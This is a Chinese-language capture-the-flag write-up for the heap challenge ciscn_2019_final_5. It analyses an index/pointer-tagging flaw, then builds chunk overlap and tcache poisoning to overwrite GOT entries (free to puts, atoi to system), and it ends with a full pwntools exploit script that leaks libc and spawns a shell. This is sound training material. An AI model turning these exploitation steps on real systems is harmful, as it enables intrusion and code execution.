ciscn_2019_final_5(临界条件错误)

检查保护

1

got表可写,没有PIE,这题还是经典堆菜单,图就不放了直接看静态分析

IDA分析

add()

2

add里可以看到有一个存放chunk指针的数组,但是他并不是直接把chunk的malloc地址存储进去,而是将idx和chunk地址的或值存进去

3

4

看一下我创建了一个idx为9的chunk,malloc地址是0x1560010但是存储的是0x1560019

free()

5

free的时候可以看到函数sub_400ACE 先去进行ptr & 0xf取出索引,再和外部输入的 idx 比较,如果一样,就去删除这个地方的 chunk,free地址为:qword_6020e0[i] & 0xfffffffffffffff0 计算得到,比如我们上面创建的idx = 9的chunk,我们free的时候输入idx = 9,那么遍历数组计算ptr & 0xf = 9的位置,再free qword_6020e0[i] & 0xfffffffffffffff0 = 0x1560010的位置进行,这样看上去似乎没有什么问题,但是我们的idx是可以 = 16的也就是0x10,那么0x1560019应该变成0x1560020,那么我们要删除的时候应该输入的是0,并且free的位置不是原本的chunk的malloc地址0x1560010了,而是变成了0x1560020了,那么如果我们把第一个chunk的size设置为0x10,那么我们就可以伪造一个chunk的pre_size和size去free掉了,去构造堆重叠

构造堆风水

1
2
add(16,0x20,p64(0)+p64(0x71))
add(1,0xb0,'aaaa') #tcache bin是不会和topchunk合并的所以创建两个足以

先创建两个chunk,在第一个chunk里去伪造presize和size ,这里注意第二个chunk的大小不能小于0xb0,为什么呢,我们往下看

6

chunk的size被存放在0x602180的位置,我们后续需要能够修改此处的值来保证我们能edit的chunk的大小

接下来进行free

1
2
free(0)
free(1)

7

我们看到tcache bin中存放了0x70和0xc0的bin,我们去申请回0x70的chunk就可以修改下面bin的fd指针去指向0x6020e0,进而在申请回来去修改指针数组的内容,free_got=0x602018所以我们再去edit(8)就相当于去修改free的got表,修改为puts再去泄露libc

这里的puts_got=0x602020所以我们存放0x602020+1 那么去free(1)的时候就泄露了puts_got,atoi_got = 0x602078也是同理-2去让其索引为6,改其got为system再输入/bin/sh\x00就拿shell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add(2,0x60,p64(0)*3+p64(0xb1)+p64(chunk_list))

add(3,0xb0,'aaaa')
add(4,0xb0,p64(atoi_got-2)+p64(puts_got+1)+p64(free_got)+p64(0)*17+p32(0x10)*4)

edit(8,p64(elf.plt['puts'])*2)

free(1)
puts_got = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_got - libc.sym['puts']
system = libc_base + libc.sym['system']
edit(6, p64(system)*2)
io.recvuntil("your choice: ")
io.sendline('/bin/sh\x00')

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

context.log_level = "debug"
context.arch="amd64"
io = remote("node4.buuoj.cn",28321)

#io = process(['/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so', './ciscn_final_5'], env={"LD_PRELOAD":'/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'})
elf = ELF('./ciscn_final_5')
libc = ELF('./libc-2.27.so')
def add(index, size, content):
io.recvuntil("your choice: ")
io.sendline('1')
io.recvuntil("index: ")
io.sendline(str(index))
io.recvuntil("size: ")
io.sendline(str(size))
io.recvuntil("content: ")
io.send(content)

def free(index):
io.recvuntil("your choice: ")
io.sendline('2')
io.recvuntil("index: ")
io.sendline(str(index))


def edit(index, content):
io.recvuntil("your choice: ")
io.sendline('3')
io.recvuntil("index: ")
io.send(str(index))
io.recvuntil("content: ")
io.send(content)

chunk_list=0x6020e0
atoi_got = 0x602078
puts_got = elf.got['puts']
free_got = elf.got['free']
add(16,0x20,p64(0)+p64(0x71))
add(1,0xb0,'aaaa')

free(0)
free(1)

add(2,0x60,p64(0)*3+p64(0xb1)+p64(chunk_list))

add(3,0xb0,'aaaa')
add(4,0xb0,p64(atoi_got-2)+p64(puts_got+1)+p64(free_got)+p64(0)*17+p32(0x10)*4)#

#gdb.attach(io)
edit(8,p64(elf.plt['puts'])*2)
free(1)
puts_got = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_got - libc.sym['puts']
system = libc_base + libc.sym['system']
edit(6, p64(system)*2)
io.recvuntil("your choice: ")
io.sendline('/bin/sh\x00')

io.interactive()

8